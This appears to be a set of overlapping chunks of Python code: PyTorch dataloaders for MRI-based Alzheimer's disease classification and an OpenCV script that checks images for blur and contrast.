"False def select_roi_count(self): self.roi = np.load('./DPMs/fcn_exp{}/train_MCC.npy'.format(self.exp_idx)) tmp = [] for i in range(self.roi.shape[0]):",
"stage self.transform = transform self.whole = whole_volume self.patch_size = patch_size self.patch_sampler = PatchGenerator(patch_size=self.patch_size)",
"'valid', 'test']: path = './lookupcsv/exp{}/{}.csv'.format(exp_idx, stage) else: path = './lookupcsv/{}.csv'.format(stage) self.Data_list, self.Label_list, self.demor_list",
"= [self.rescale(a) for a in self.risk_list] self.in_size = self.risk_list[0].shape[0] def __len__(self): return len(self.Data_list)",
"image = self.add_noise(image) return image class CNN_Data(Dataset): \"\"\" csv files ./lookuptxt/*.csv contains MRI",
"Data_dir, exp_idx, stage, seed=1000): random.seed(seed) self.exp_idx = exp_idx self.Data_dir = Data_dir if stage",
"self.whole: data = np.load(self.Data_dir + self.Data_list[idx] + '.npy', mmap_mode='r').astype(np.float32) patch = self.patch_sampler.random_sample(data) if",
"exp_idx: experiment index maps to different data splits :param stage: stage could be",
"'AIBL', 'FHS']: self.Data_list, self.Label_list = read_csv('./lookupcsv/{}.csv'.format(stage)) def __len__(self): return len(self.Data_list) def __getitem__(self, idx):",
"stage: test the model on ADNI_test, NACC, FHS and AIBL datasets 3. CNN",
"patch = self.patch_sampler.random_sample(data) if self.transform: patch = self.transform.apply(patch).astype(np.float32) patch = np.expand_dims(patch, axis=0) return",
"be 47, otherwise model needs to be changed accordingly :param transform: transform is",
"framework) (a). Training stage: use whole volume to train classification FCN model (b).",
"transform: transform is about data augmentation, if transform == None: no augmentation for",
"FCN dataloader) (a). Training stage: train MLP on DPMs from the training portion",
"if self.stage == 'train' and not self.whole: data = np.load(self.Data_dir + self.Data_list[idx] +",
"== 'train' and not self.whole: data = np.load(self.Data_dir + self.Data_list[idx] + '.npy', mmap_mode='r').astype(np.float32)",
"to train classification FCN model (b). Validation stage: forward whole volume MRI to",
"CNN_MLP_Data(Dataset): def __init__(self, Data_dir, exp_idx, stage, seed=1000): random.seed(seed) self.exp_idx = exp_idx self.Data_dir =",
"'./lookupcsv/exp{}/{}.csv'.format(exp_idx, stage) else: path = './lookupcsv/{}.csv'.format(stage) self.Data_list, self.Label_list, self.demor_list = read_csv_complete(path) self.risk_list =",
"= [count / count0 if i == 0 else count / count1 for",
"stage, seed=1000): random.seed(seed) self.exp_idx = exp_idx self.Data_dir = Data_dir if stage in ['train',",
"def add_noise(self, image): sig = random.random() * self.sig_factor return np.random.normal(0, sig, image.shape) +",
"[count / count0 if i == 0 else count / count1 for i",
"'NACC', 'AIBL', 'FHS']: self.Data_list, self.Label_list = read_csv('./lookupcsv/{}.csv'.format(stage)) def __len__(self): return len(self.Data_list) def __getitem__(self,",
"read_csv, read_csv_complete, read_csv_complete_apoe, get_AD_risk import random import pandas as pd import csv \"\"\"",
"__init__(self): self.contrast_factor = 0.2 self.bright_factor = 0.4 self.sig_factor = 0.2 def change_contrast(self, image):",
"needs to be changed accordingly :param transform: transform is about data augmentation, if",
"image + val def add_noise(self, image): sig = random.random() * self.sig_factor return np.random.normal(0,",
"class FCN_Data(CNN_Data): def __init__(self, Data_dir, exp_idx, stage, whole_volume=False, seed=1000, patch_size=47, transform=Augment()): \"\"\" :param",
"return weights, count0 / count1 if __name__ == \"__main__\": data = CNN_MLP_Data(Data_dir='./DPMs/cnn_exp1/', exp_idx=1,",
"data, label class MLP_Data(Dataset): def __init__(self, Data_dir, exp_idx, stage, roi_threshold, roi_count, choice, seed=1000):",
"read_csv('./lookupcsv/exp{}/{}.csv'.format(exp_idx, stage)) elif stage in ['ADNI', 'NACC', 'AIBL', 'FHS']: self.Data_list, self.Label_list = read_csv('./lookupcsv/{}.csv'.format(stage))",
"the development of MLP 2. MLP dataloader (use the exactly same split as",
"and 20% testing) (a). Training stage: use random patches to train classification FCN",
"no augmentation for more details, see Augment class \"\"\" CNN_Data.__init__(self, Data_dir, exp_idx, stage,",
"all available DPMs for the development of MLP 2. MLP dataloader (use the",
"self.Data_dir = Data_dir if stage in ['train', 'valid', 'test']: self.Data_list, self.Label_list = read_csv('./lookupcsv/exp{}/{}.csv'.format(exp_idx,",
"in range(self.roi.shape[2]): if i%3!=0 or j%2!=0 or k%3!=0: self.roi[i,j,k] = False def select_roi_count(self):",
"MRI; if whole_volume == False and stage == 'train', sample patches for training",
"def rescale(self, x): return (x + 8) / 20.0 def get_sample_weights(self): count, count0,",
"self.roi[i,j,k] = True def __len__(self): return len(self.Data_list) def __getitem__(self, idx): label = self.Label_list[idx]",
"stage: stage could be 'train', 'valid', 'test' and etc ... :param whole_volume: if",
"self.transform.apply(patch).astype(np.float32) patch = np.expand_dims(patch, axis=0) return patch, label else: data = np.load(self.Data_dir +",
"= 0.2 self.bright_factor = 0.4 self.sig_factor = 0.2 def change_contrast(self, image): ratio =",
"for i in self.Label_list] return weights, count0 / count1 class MLP_Data_apoe(MLP_Data): def __init__(self,",
"compared with FCN+MLP framework) (a). Training stage: use whole volume to train classification",
"k%3!=0: self.roi[i,j,k] = False def select_roi_count(self): self.roi = np.load('./DPMs/fcn_exp{}/train_MCC.npy'.format(self.exp_idx)) tmp = [] for",
"(DPM). use MCC of DPM as criterion to save model parameters (c). Testing",
"from __future__ import print_function, division import os import torch import numpy as np",
"else: self.select_roi_thres() if stage in ['train', 'valid', 'test']: self.path = './lookupcsv/exp{}/{}.csv'.format(exp_idx, stage) else:",
"self.Data_dir = Data_dir if stage in ['train', 'valid', 'test']: path = './lookupcsv/exp{}/{}.csv'.format(exp_idx, stage)",
"random.seed(seed) self.exp_idx = exp_idx self.Data_dir = Data_dir if stage in ['train', 'valid', 'test']:",
"volume to train classification FCN model (b). Validation stage: use MCC as criterion",
"experiment index maps to different data splits :param stage: stage could be 'train',",
"stage in ['train', 'valid', 'test']: path = './lookupcsv/exp{}/{}.csv'.format(exp_idx, stage) else: path = './lookupcsv/{}.csv'.format(stage)",
"super().__init__(Data_dir, exp_idx, stage, roi_threshold, roi_count, choice, seed) self.Data_list, self.Label_list, self.demor_list = read_csv_complete_apoe(self.path) class",
"return len(self.Data_list) def __getitem__(self, idx): label = self.Label_list[idx] data = np.load(self.Data_dir + self.Data_list[idx]",
"self.change_brightness(image) image = self.add_noise(image) return image class CNN_Data(Dataset): \"\"\" csv files ./lookuptxt/*.csv contains",
"stage, seed=1000): random.seed(seed) self.Data_dir = Data_dir if stage in ['train', 'valid', 'test']: self.Data_list,",
"tmp.sort() tmp = tmp[-self.roi_count:] self.roi = self.roi != self.roi for _, i, j,",
"random.seed(seed) self.exp_idx = exp_idx self.Data_dir = Data_dir self.roi_threshold = roi_threshold self.roi_count = roi_count",
"whole_volume == False and stage == 'train', sample patches for training :param seed:",
"about data augmentation, if transform == None: no augmentation for more details, see",
"parameters (c). Testing stage: get all available DPMs for the development of MLP",
"dataloader (baseline classification model to be compared with FCN+MLP framework) (a). Training stage:",
"count1 for i in self.Label_list] return weights, count0 / count1 class FCN_Data(CNN_Data): def",
"'valid', 'test']: self.Data_list, self.Label_list = read_csv('./lookupcsv/exp{}/{}.csv'.format(exp_idx, stage)) elif stage in ['ADNI', 'NACC', 'AIBL',",
"self.Label_list, self.demor_list = read_csv_complete(self.path) self.risk_list = [get_AD_risk(np.load(Data_dir+filename+'.npy'))[self.roi] for filename in self.Data_list] self.in_size =",
"train MLP on DPMs from the training portion (b). Validation stage: use MCC",
"(c). Testing stage: get all available DPMs for the development of MLP 2.",
"os import torch import numpy as np from torch.utils.data import Dataset, DataLoader from",
"label class MLP_Data(Dataset): def __init__(self, Data_dir, exp_idx, stage, roi_threshold, roi_count, choice, seed=1000): random.seed(seed)",
"= DataLoader(data, batch_size=10, shuffle=False) for risk, label, demor in dataloader: print(risk.shape, label, demor)",
"continue tmp.append((self.roi[i,j,k], i, j, k)) tmp.sort() tmp = tmp[-self.roi_count:] self.roi = self.roi !=",
"model (b). Validation stage: forward whole volume MRI to FCN to get Disease",
"and stage == 'train', sample patches for training :param seed: random seed :param",
"(data split into 60% train, 20% validation and 20% testing) (a). Training stage:",
"count0, count1 = float(len(self.Label_list)), float(self.Label_list.count(0)), float( self.Label_list.count(1)) weights = [count / count0 if",
"changed accordingly :param transform: transform is about data augmentation, if transform == None:",
"__getitem__(self, idx): label = self.Label_list[idx] data = np.load(self.Data_dir + self.Data_list[idx] + '.npy').astype(np.float32) data",
"or j%2!=0 or k%3!=0: self.roi[i,j,k] = False def select_roi_count(self): self.roi = np.load('./DPMs/fcn_exp{}/train_MCC.npy'.format(self.exp_idx)) tmp",
"whole_volume=False, seed=1000, patch_size=47, transform=Augment()): \"\"\" :param Data_dir: data path :param exp_idx: experiment index",
"= self.transform.apply(patch).astype(np.float32) patch = np.expand_dims(patch, axis=0) return patch, label else: data = np.load(self.Data_dir",
"label = self.Label_list[idx] risk = self.risk_list[idx] demor = self.demor_list[idx] return risk, label, np.asarray(demor).astype(np.float32)",
"j%2!=0 or k%3!=0: self.roi[i,j,k] = False def select_roi_count(self): self.roi = np.load('./DPMs/fcn_exp{}/train_MCC.npy'.format(self.exp_idx)) tmp =",
"as criterion to save model parameters (c). Testing stage: test the model on",
"random patches to train classification FCN model (b). Validation stage: forward whole volume",
"validation and 20% testing) (a). Training stage: use random patches to train classification",
"in self.risk_list] self.in_size = self.risk_list[0].shape[0] def __len__(self): return len(self.Data_list) def __getitem__(self, idx): label",
"self.Label_list[idx] data = np.load(self.Data_dir + self.Data_list[idx] + '.npy').astype(np.float32) data = np.expand_dims(data, axis=0) return",
"range(self.roi.shape[2]): if i%3!=0 or j%2!=0 or k%3!=0: continue tmp.append((self.roi[i,j,k], i, j, k)) tmp.sort()",
"val = (random.random() - 0.5)*self.bright_factor return image + val def add_noise(self, image): sig",
"\"__main__\": data = CNN_MLP_Data(Data_dir='./DPMs/cnn_exp1/', exp_idx=1, stage='train') dataloader = DataLoader(data, batch_size=10, shuffle=False) for risk,",
"i, j, k)) tmp.sort() tmp = tmp[-self.roi_count:] self.roi = self.roi != self.roi for",
"__init__(self, Data_dir, exp_idx, stage, roi_threshold, roi_count, choice, seed=1000): random.seed(seed) self.exp_idx = exp_idx self.Data_dir",
"whole_volume == True, get whole MRI; if whole_volume == False and stage ==",
"np.expand_dims(data, axis=0) return data, label def get_sample_weights(self): count, count0, count1 = float(len(self.Label_list)), float(self.Label_list.count(0)),",
"roi_count, choice, seed=1000): super().__init__(Data_dir, exp_idx, stage, roi_threshold, roi_count, choice, seed) self.Data_list, self.Label_list, self.demor_list",
"datasets \"\"\" class Augment: def __init__(self): self.contrast_factor = 0.2 self.bright_factor = 0.4 self.sig_factor",
"if whole_volume == True, get whole MRI; if whole_volume == False and stage",
"get_sample_weights(self): count, count0, count1 = float(len(self.Label_list)), float(self.Label_list.count(0)), float( self.Label_list.count(1)) weights = [count /",
"'.npy').astype(np.float32) data = np.expand_dims(padding(data, win_size=self.patch_size // 2), axis=0) return data, label class MLP_Data(Dataset):",
"= roi_count if choice == 'count': self.select_roi_count() else: self.select_roi_thres() if stage in ['train',",
"= self.roi != self.roi for _, i, j, k in tmp: self.roi[i,j,k] =",
"= PatchGenerator(patch_size=self.patch_size) def __getitem__(self, idx): label = self.Label_list[idx] if self.stage == 'train' and",
"return data, label class MLP_Data(Dataset): def __init__(self, Data_dir, exp_idx, stage, roi_threshold, roi_count, choice,",
"def __len__(self): return len(self.Data_list) def __getitem__(self, idx): label = self.Label_list[idx] data = np.load(self.Data_dir",
"for k in range(self.roi.shape[2]): if i%3!=0 or j%2!=0 or k%3!=0: self.roi[i,j,k] = False",
"seed) self.Data_list, self.Label_list, self.demor_list = read_csv_complete_apoe(self.path) class CNN_MLP_Data(Dataset): def __init__(self, Data_dir, exp_idx, stage,",
"self.Data_list, self.Label_list = read_csv('./lookupcsv/exp{}/{}.csv'.format(exp_idx, stage)) elif stage in ['ADNI', 'NACC', 'AIBL', 'FHS']: self.Data_list,",
"count1 = float(len(self.Label_list)), float(self.Label_list.count(0)), float(self.Label_list.count(1)) weights = [count / count0 if i ==",
"= self.patch_sampler.random_sample(data) if self.transform: patch = self.transform.apply(patch).astype(np.float32) patch = np.expand_dims(patch, axis=0) return patch,",
"= np.load(self.Data_dir + self.Data_list[idx] + '.npy').astype(np.float32) data = np.expand_dims(padding(data, win_size=self.patch_size // 2), axis=0)",
"Dataset, DataLoader from utils import PatchGenerator, padding, read_csv, read_csv_complete, read_csv_complete_apoe, get_AD_risk import random",
"'count': self.select_roi_count() else: self.select_roi_thres() if stage in ['train', 'valid', 'test']: self.path = './lookupcsv/exp{}/{}.csv'.format(exp_idx,",
"= self.risk_list[idx] demor = self.demor_list[idx] return risk, label, np.asarray(demor).astype(np.float32) def rescale(self, x): return",
"whole volume to train classification FCN model (b). Validation stage: use MCC as",
"label = self.Label_list[idx] data = np.load(self.Data_dir + self.Data_list[idx] + '.npy').astype(np.float32) data = np.expand_dims(data,",
"ADNI_test, NACC, FHS and AIBL datasets \"\"\" class Augment: def __init__(self): self.contrast_factor =",
"random.random() * self.sig_factor return np.random.normal(0, sig, image.shape) + image def apply(self, image): image",
"stage could be 'train', 'valid', 'test' and etc ... :param whole_volume: if whole_volume",
"stage == 'train', sample patches for training :param seed: random seed :param patch_size:",
"read_csv_complete(path) self.risk_list = [np.load(Data_dir + filename + '.npy') for filename in self.Data_list] self.risk_list",
"== True, get whole MRI; if whole_volume == False and stage == 'train',",
"transform self.whole = whole_volume self.patch_size = patch_size self.patch_sampler = PatchGenerator(patch_size=self.patch_size) def __getitem__(self, idx):",
"elif stage in ['ADNI', 'NACC', 'AIBL', 'FHS']: self.Data_list, self.Label_list = read_csv('./lookupcsv/{}.csv'.format(stage)) def __len__(self):",
"for filename in self.Data_list] self.in_size = self.risk_list[0].shape[0] def select_roi_thres(self): self.roi = np.load('./DPMs/fcn_exp{}/train_MCC.npy'.format(self.exp_idx)) self.roi",
"np.load('./DPMs/fcn_exp{}/train_MCC.npy'.format(self.exp_idx)) self.roi = self.roi > self.roi_threshold for i in range(self.roi.shape[0]): for j in",
"self.roi[i,j,k] = False def select_roi_count(self): self.roi = np.load('./DPMs/fcn_exp{}/train_MCC.npy'.format(self.exp_idx)) tmp = [] for i",
"i%3!=0 or j%2!=0 or k%3!=0: continue tmp.append((self.roi[i,j,k], i, j, k)) tmp.sort() tmp =",
"self.transform = transform self.whole = whole_volume self.patch_size = patch_size self.patch_sampler = PatchGenerator(patch_size=self.patch_size) def",
":param patch_size: patch size has to be 47, otherwise model needs to be",
"['train', 'valid', 'test']: self.path = './lookupcsv/exp{}/{}.csv'.format(exp_idx, stage) else: self.path = './lookupcsv/{}.csv'.format(stage) self.Data_list, self.Label_list,",
"def __init__(self, Data_dir, exp_idx, stage, seed=1000): random.seed(seed) self.Data_dir = Data_dir if stage in",
"Data_dir, exp_idx, stage, roi_threshold, roi_count, choice, seed=1000): random.seed(seed) self.exp_idx = exp_idx self.Data_dir =",
"= exp_idx self.Data_dir = Data_dir self.roi_threshold = roi_threshold self.roi_count = roi_count if choice",
"+ 8) / 20.0 def get_sample_weights(self): count, count0, count1 = float(len(self.Label_list)), float(self.Label_list.count(0)), float(",
"to train classification FCN model (b). Validation stage: use MCC as criterion to",
"'valid', 'test']: self.path = './lookupcsv/exp{}/{}.csv'.format(exp_idx, stage) else: self.path = './lookupcsv/{}.csv'.format(stage) self.Data_list, self.Label_list, self.demor_list",
"whole volume MRI to FCN to get Disease Probability Map (DPM). use MCC",
"stage: use whole volume to train classification FCN model (b). Validation stage: use",
":param exp_idx: experiment index maps to different data splits :param stage: stage could",
"padding, read_csv, read_csv_complete, read_csv_complete_apoe, get_AD_risk import random import pandas as pd import csv",
"= patch_size self.patch_sampler = PatchGenerator(patch_size=self.patch_size) def __getitem__(self, idx): label = self.Label_list[idx] if self.stage",
"in range(self.roi.shape[0]): for j in range(self.roi.shape[1]): for k in range(self.roi.shape[2]): if i%3!=0 or",
"image): val = (random.random() - 0.5)*self.bright_factor return image + val def add_noise(self, image):",
"train classification FCN model (b). Validation stage: forward whole volume MRI to FCN",
"information \"\"\" def __init__(self, Data_dir, exp_idx, stage, seed=1000): random.seed(seed) self.Data_dir = Data_dir if",
"self.roi = np.load('./DPMs/fcn_exp{}/train_MCC.npy'.format(self.exp_idx)) self.roi = self.roi > self.roi_threshold for i in range(self.roi.shape[0]): for",
"from torch.utils.data import Dataset, DataLoader from utils import PatchGenerator, padding, read_csv, read_csv_complete, read_csv_complete_apoe,",
"'.npy', mmap_mode='r').astype(np.float32) patch = self.patch_sampler.random_sample(data) if self.transform: patch = self.transform.apply(patch).astype(np.float32) patch = np.expand_dims(patch,",
"exp_idx self.Data_dir = Data_dir if stage in ['train', 'valid', 'test']: path = './lookupcsv/exp{}/{}.csv'.format(exp_idx,",
"self.demor_list = read_csv_complete_apoe(self.path) class CNN_MLP_Data(Dataset): def __init__(self, Data_dir, exp_idx, stage, seed=1000): random.seed(seed) self.exp_idx",
"else: data = np.load(self.Data_dir + self.Data_list[idx] + '.npy').astype(np.float32) data = np.expand_dims(padding(data, win_size=self.patch_size //",
"stage='train') dataloader = DataLoader(data, batch_size=10, shuffle=False) for risk, label, demor in dataloader: print(risk.shape,",
"utils import PatchGenerator, padding, read_csv, read_csv_complete, read_csv_complete_apoe, get_AD_risk import random import pandas as",
"Data_dir, exp_idx, stage, roi_threshold, roi_count, choice, seed=1000): super().__init__(Data_dir, exp_idx, stage, roi_threshold, roi_count, choice,",
"== \"__main__\": data = CNN_MLP_Data(Data_dir='./DPMs/cnn_exp1/', exp_idx=1, stage='train') dataloader = DataLoader(data, batch_size=10, shuffle=False) for",
":param seed: random seed :param patch_size: patch size has to be 47, otherwise",
"= self.Label_list[idx] if self.stage == 'train' and not self.whole: data = np.load(self.Data_dir +",
"count / count1 for i in self.Label_list] return weights, count0 / count1 if",
"image.shape) + image def apply(self, image): image = self.change_contrast(image) image = self.change_brightness(image) image",
"the exactly same split as FCN dataloader) (a). Training stage: train MLP on",
"Training stage: use random patches to train classification FCN model (b). Validation stage:",
"['train', 'valid', 'test']: path = './lookupcsv/exp{}/{}.csv'.format(exp_idx, stage) else: path = './lookupcsv/{}.csv'.format(stage) self.Data_list, self.Label_list,",
"be changed accordingly :param transform: transform is about data augmentation, if transform ==",
"= './lookupcsv/{}.csv'.format(stage) self.Data_list, self.Label_list, self.demor_list = read_csv_complete(path) self.risk_list = [np.load(Data_dir + filename +",
"training portion (b). Validation stage: use MCC as criterion to save model parameters",
"2. MLP dataloader (use the exactly same split as FCN dataloader) (a). Training",
"and not self.whole: data = np.load(self.Data_dir + self.Data_list[idx] + '.npy', mmap_mode='r').astype(np.float32) patch =",
"- image.mean()) def change_brightness(self, image): val = (random.random() - 0.5)*self.bright_factor return image +",
"stage: use random patches to train classification FCN model (b). Validation stage: forward",
"if __name__ == \"__main__\": data = CNN_MLP_Data(Data_dir='./DPMs/cnn_exp1/', exp_idx=1, stage='train') dataloader = DataLoader(data, batch_size=10,",
"FCN+MLP framework) (a). Training stage: use whole volume to train classification FCN model",
"PatchGenerator, padding, read_csv, read_csv_complete, read_csv_complete_apoe, get_AD_risk import random import pandas as pd import",
"stage in ['train', 'valid', 'test']: self.Data_list, self.Label_list = read_csv('./lookupcsv/exp{}/{}.csv'.format(exp_idx, stage)) elif stage in",
"whole_volume: if whole_volume == True, get whole MRI; if whole_volume == False and",
"import os import torch import numpy as np from torch.utils.data import Dataset, DataLoader",
"'train', sample patches for training :param seed: random seed :param patch_size: patch size",
"// 2), axis=0) return data, label class MLP_Data(Dataset): def __init__(self, Data_dir, exp_idx, stage,",
"self.demor_list[idx] return risk, label, np.asarray(demor).astype(np.float32) def rescale(self, x): return (x + 8) /",
"self.risk_list = [get_AD_risk(np.load(Data_dir+filename+'.npy'))[self.roi] for filename in self.Data_list] self.in_size = self.risk_list[0].shape[0] def select_roi_thres(self): self.roi",
"NACC, FHS and AIBL datasets \"\"\" class Augment: def __init__(self): self.contrast_factor = 0.2",
"mmap_mode='r').astype(np.float32) patch = self.patch_sampler.random_sample(data) if self.transform: patch = self.transform.apply(patch).astype(np.float32) patch = np.expand_dims(patch, axis=0)",
"self.Label_list] return weights, count0 / count1 class FCN_Data(CNN_Data): def __init__(self, Data_dir, exp_idx, stage,",
"the training portion (b). Validation stage: use MCC as criterion to save model",
"stage, whole_volume=False, seed=1000, patch_size=47, transform=Augment()): \"\"\" :param Data_dir: data path :param exp_idx: experiment",
"exp_idx, stage, seed=1000): random.seed(seed) self.exp_idx = exp_idx self.Data_dir = Data_dir if stage in",
"(c). Testing stage: test the model on ADNI_test, NACC, FHS and AIBL datasets",
"random import pandas as pd import csv \"\"\" dataloaders are defined in this",
"use MCC as criterion to save model parameters (c). Testing stage: test the",
"+ self.Data_list[idx] + '.npy', mmap_mode='r').astype(np.float32) patch = self.patch_sampler.random_sample(data) if self.transform: patch = self.transform.apply(patch).astype(np.float32)",
"0.2 def change_contrast(self, image): ratio = 1 + (random.random() - 0.5)*self.contrast_factor return image.mean()",
"np.load(self.Data_dir + self.Data_list[idx] + '.npy').astype(np.float32) data = np.expand_dims(data, axis=0) return data, label def",
"torch import numpy as np from torch.utils.data import Dataset, DataLoader from utils import",
"be compared with FCN+MLP framework) (a). Training stage: use whole volume to train",
"or k%3!=0: self.roi[i,j,k] = False def select_roi_count(self): self.roi = np.load('./DPMs/fcn_exp{}/train_MCC.npy'.format(self.exp_idx)) tmp = []",
"MLP 2. MLP dataloader (use the exactly same split as FCN dataloader) (a).",
"j, k in tmp: self.roi[i,j,k] = True def __len__(self): return len(self.Data_list) def __getitem__(self,",
"details, see Augment class \"\"\" CNN_Data.__init__(self, Data_dir, exp_idx, stage, seed) self.stage = stage",
"(b). Validation stage: forward whole volume MRI to FCN to get Disease Probability",
"return image.mean() + ratio*(image - image.mean()) def change_brightness(self, image): val = (random.random() -",
"count1 for i in self.Label_list] return weights, count0 / count1 if __name__ ==",
"stage, roi_threshold, roi_count, choice, seed=1000): super().__init__(Data_dir, exp_idx, stage, roi_threshold, roi_count, choice, seed) self.Data_list,",
"pd import csv \"\"\" dataloaders are defined in this scripts: 1. FCN dataloader",
"if stage in ['train', 'valid', 'test']: self.Data_list, self.Label_list = read_csv('./lookupcsv/exp{}/{}.csv'.format(exp_idx, stage)) elif stage",
"filename in self.Data_list] self.risk_list = [self.rescale(a) for a in self.risk_list] self.in_size = self.risk_list[0].shape[0]",
"to be changed accordingly :param transform: transform is about data augmentation, if transform",
"(a). Training stage: use random patches to train classification FCN model (b). Validation",
"patch_size=47, transform=Augment()): \"\"\" :param Data_dir: data path :param exp_idx: experiment index maps to",
"self.add_noise(image) return image class CNN_Data(Dataset): \"\"\" csv files ./lookuptxt/*.csv contains MRI filenames along",
"[get_AD_risk(np.load(Data_dir+filename+'.npy'))[self.roi] for filename in self.Data_list] self.in_size = self.risk_list[0].shape[0] def select_roi_thres(self): self.roi = np.load('./DPMs/fcn_exp{}/train_MCC.npy'.format(self.exp_idx))",
"self.select_roi_thres() if stage in ['train', 'valid', 'test']: self.path = './lookupcsv/exp{}/{}.csv'.format(exp_idx, stage) else: self.path",
"seed=1000): random.seed(seed) self.exp_idx = exp_idx self.Data_dir = Data_dir self.roi_threshold = roi_threshold self.roi_count =",
"read_csv_complete_apoe, get_AD_risk import random import pandas as pd import csv \"\"\" dataloaders are",
"pandas as pd import csv \"\"\" dataloaders are defined in this scripts: 1.",
"20% validation and 20% testing) (a). Training stage: use random patches to train",
"== False and stage == 'train', sample patches for training :param seed: random",
"(use the exactly same split as FCN dataloader) (a). Training stage: train MLP",
"risk, label, np.asarray(demor).astype(np.float32) def get_sample_weights(self): count, count0, count1 = float(len(self.Label_list)), float(self.Label_list.count(0)), float(self.Label_list.count(1)) weights",
"val def add_noise(self, image): sig = random.random() * self.sig_factor return np.random.normal(0, sig, image.shape)",
"return np.random.normal(0, sig, image.shape) + image def apply(self, image): image = self.change_contrast(image) image",
"could be 'train', 'valid', 'test' and etc ... :param whole_volume: if whole_volume ==",
"\"\"\" def __init__(self, Data_dir, exp_idx, stage, seed=1000): random.seed(seed) self.Data_dir = Data_dir if stage",
"False and stage == 'train', sample patches for training :param seed: random seed",
"3. CNN dataloader (baseline classification model to be compared with FCN+MLP framework) (a).",
"1 + (random.random() - 0.5)*self.contrast_factor return image.mean() + ratio*(image - image.mean()) def change_brightness(self,",
"count0 / count1 class FCN_Data(CNN_Data): def __init__(self, Data_dir, exp_idx, stage, whole_volume=False, seed=1000, patch_size=47,",
"= np.expand_dims(padding(data, win_size=self.patch_size // 2), axis=0) return data, label class MLP_Data(Dataset): def __init__(self,",
"j, k)) tmp.sort() tmp = tmp[-self.roi_count:] self.roi = self.roi != self.roi for _,",
"= read_csv('./lookupcsv/exp{}/{}.csv'.format(exp_idx, stage)) elif stage in ['ADNI', 'NACC', 'AIBL', 'FHS']: self.Data_list, self.Label_list =",
"'test']: self.path = './lookupcsv/exp{}/{}.csv'.format(exp_idx, stage) else: self.path = './lookupcsv/{}.csv'.format(stage) self.Data_list, self.Label_list, self.demor_list =",
"roi_threshold, roi_count, choice, seed) self.Data_list, self.Label_list, self.demor_list = read_csv_complete_apoe(self.path) class CNN_MLP_Data(Dataset): def __init__(self,"
] |
[
"compute min and max of Y min = int(np.min(Y)) max = int(np.max(Y)) #",
"''' Check contrast of given images using RMS or Michelson method path :",
"using RMS or Michelson method path : str path of given image method",
"as np from skimage.exposure import is_low_contrast import matplotlib.pyplot as plt def check_contrast(path, method='rms'):",
"method path : str path of given image method : str method 'rms'",
"print(contrast, end = ' ') if(contrast > 45): print('Normal') plt.title('Normal') else: print('Low') plt.title('Low')",
"import matplotlib.pyplot as plt def check_contrast(path, method='rms'): ''' Check contrast of given images",
"(blur) or Contrast (con) Analysis') args = parser.parse_args() if args.choice == 'blur': print('Blur",
"== 'rms': img_grey = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) contrast = img_grey.std() print(contrast, end = '",
"Compute the Laplacian of the image and return its variance ''' return cv2.Laplacian(image,",
"method == 'rms': img_grey = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) contrast = img_grey.std() print(contrast, end =",
"files = os.listdir(args.image) files = [os.path.join(args.image, file) for file in files] for file",
"for file in files] for file in files: print('Image name :', file, end='",
"in files] for file in files: print('Image name :', file, end=' ') check_blur(file)",
"is_low_contrast import matplotlib.pyplot as plt def check_contrast(path, method='rms'): ''' Check contrast of given",
"image method : str method 'rms' or 'mich' Returns None ''' img =",
"check_contrast(path, method='rms'): ''' Check contrast of given images using RMS or Michelson method",
"print('Image name :', file, end=' ') check_contrast(file, args.method) else: print('Image name :', args.image,",
"type=str, help='Path of the image file') parser.add_argument('--folder', default='False', type=str, help='True if path is",
"or Michelson method path : str path of given image method : str",
"= argparse.ArgumentParser(description='FcarScan Task - Blur and Contrast check') parser.add_argument('--image', default='view1.jpeg', type=str, help='Path of",
"print(contrast, end = ' ') if(contrast > 0.8): print('Normal') plt.title('Normal') else: print('Low') plt.title('Low')",
"default='False', type=str, help='True if path is a directory') parser.add_argument('--method', default='rms', type=str, help='RMS (rms)",
"= os.listdir(args.image) files = [os.path.join(args.image, file) for file in files] for file in",
"' ') if(contrast > 0.8): print('Normal') plt.title('Normal') else: print('Low') plt.title('Low') plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB) )",
"int(np.min(Y)) max = int(np.max(Y)) # compute contrast contrast = (max-min)/(max+min) print(contrast, end =",
"''' return cv2.Laplacian(image, cv2.CV_64F).var() def check_blur(path): img = cv2.imread(path) img_gray = cv2.imread(path,0) var",
"cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) contrast = img_grey.std() print(contrast, end = ' ') if(contrast > 45):",
"img_grey.std() print(contrast, end = ' ') if(contrast > 45): print('Normal') plt.title('Normal') else: print('Low')",
"end=' ') check_blur(file) else: print('Image name :', args.image, end=' ') check_blur(args.image) else: if",
"plt def check_contrast(path, method='rms'): ''' Check contrast of given images using RMS or",
"str path of given image method : str method 'rms' or 'mich' Returns",
"= ' ') if(contrast > 0.8): print('Normal') plt.title('Normal') else: print('Low') plt.title('Low') plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB)",
"check_blur(path): img = cv2.imread(path) img_gray = cv2.imread(path,0) var = variance_of_laplacian(img_gray) plt.figure() if var<100:",
"help='RMS (rms) or Michelson (mich)') parser.add_argument('--choice', default='blur', type=str, help='Blur (blur) or Contrast (con)",
"given image method : str method 'rms' or 'mich' Returns None ''' img",
"= cv2.imread(path,0) var = variance_of_laplacian(img_gray) plt.figure() if var<100: print('Blurry') plt.title('Blurry') else: print('Normal') plt.title('Normal')",
"file, end=' ') check_contrast(file, args.method) else: print('Image name :', args.image, end=' ') check_contrast(args.image,args.method)",
"file in files: print('Image name :', file, end=' ') check_contrast(file, args.method) else: print('Image",
"min and max of Y min = int(np.min(Y)) max = int(np.max(Y)) # compute",
"> 0.8): print('Normal') plt.title('Normal') else: print('Low') plt.title('Low') plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB) ) plt.show() def variance_of_laplacian(image):",
"default='blur', type=str, help='Blur (blur) or Contrast (con) Analysis') args = parser.parse_args() if args.choice",
"numpy as np from skimage.exposure import is_low_contrast import matplotlib.pyplot as plt def check_contrast(path,",
"end = ' ') if(contrast > 45): print('Normal') plt.title('Normal') else: print('Low') plt.title('Low') elif",
"else: print('Low') plt.title('Low') elif method == 'mich': #michelson Y = cv2.cvtColor(img, cv2.COLOR_BGR2YUV)[:,:,0] #",
"plt.show() def variance_of_laplacian(image): ''' Compute the Laplacian of the image and return its",
"args = parser.parse_args() if args.choice == 'blur': print('Blur Analysis') if args.folder == 'True':",
